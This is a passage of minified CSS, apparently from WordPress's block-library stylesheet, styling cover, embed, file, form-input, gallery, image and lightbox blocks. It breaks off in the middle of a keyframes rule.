.wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-right:0;text-align:right}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-left:0;text-align:left}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto}.wp-block-details{box-sizing:border-box}.wp-block-details summary{cursor:pointer}.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}.wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file *+.wp-block-file__button{margin-right:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-form-input__label{display:flex;flex-direction:column;gap:.25em;margin-bottom:.5em;width:100%}.wp-block-form-input__label.is-label-inline{align-items:center;flex-direction:row;gap:.5em}.wp-block-form-input__label.is-label-inline .wp-block-form-input__label-content{margin-bottom:.5em}.wp-block-form-input__label:has(input[type=checkbox]){flex-direction:row;width:fit-content}.wp-block-form-input__label:has(input[type=checkbox]) .wp-block-form-input__label-content{margin:0}.wp-block-form-input__label:has(.wp-block-form-input__label-content+input[type=checkbox]){flex-direction:row-reverse}.wp-block-form-input__label-content{width:fit-content}.wp-block-form-input__input{font-size:1em;margin-bottom:.5em;padding:0 .5em}.wp-block-form-input__input[type=date],.wp-block-form-input__input[type=datetime-local],.wp-block-form-input__input[type=datetime],.wp-block-form-input__input[type=email],.wp-block-form-input__input[type=month],.wp-block-form-input__input[type=number],.wp-block-form-input__input[type=password],.wp-block-form-input__input[type=search],.wp-block-form-input__input[type=tel],.wp-block-form-input__input[type=text],.wp-block-form-input__input[type=time],.wp-block-form-input__input[type=url],.wp-block-form-input__input[type=week]{border:1px solid;line-height:2;min-height:2em}textarea.wp-block-form-input__input{min-height:10em}.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 0 1em 1em;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-left:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-left:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-left:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-left:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-left:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-left:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-left:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-left:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-left:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-left:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{bottom:0;left:0;max-height:100%;position:absolute;right:0}.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{-webkit-backdrop-filter:blur(3px);backdrop-filter:blur(3px);content:"";height:100%;-webkit-mask-image:linear-gradient(0deg,#000 20%,#0000);mask-image:linear-gradient(0deg,#000 20%,#0000);max-height:40%}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#0006,#0000);box-sizing:border-box;color:#fff;font-size:13px;margin:0;overflow:auto;padding:1em;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;text-align:center;text-shadow:0 0 1.5px #000;will-change:transform}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative;text-shadow:none}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{content:none}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}.wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative}h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}.wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;left:16px;opacity:0;padding:0;position:absolute;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;overflow:hidden;position:fixed;right:0;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;left:calc(env(safe-area-inset-left) + 16px);min-height:40px;min-width:40px;padding:0;position:absolute;top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);overflow:hidden;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);transform-origin:top right;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:100% 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes show-content-image{0%{visibility:hidden}99%{visibility:hidden}to{visibility:visible}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes 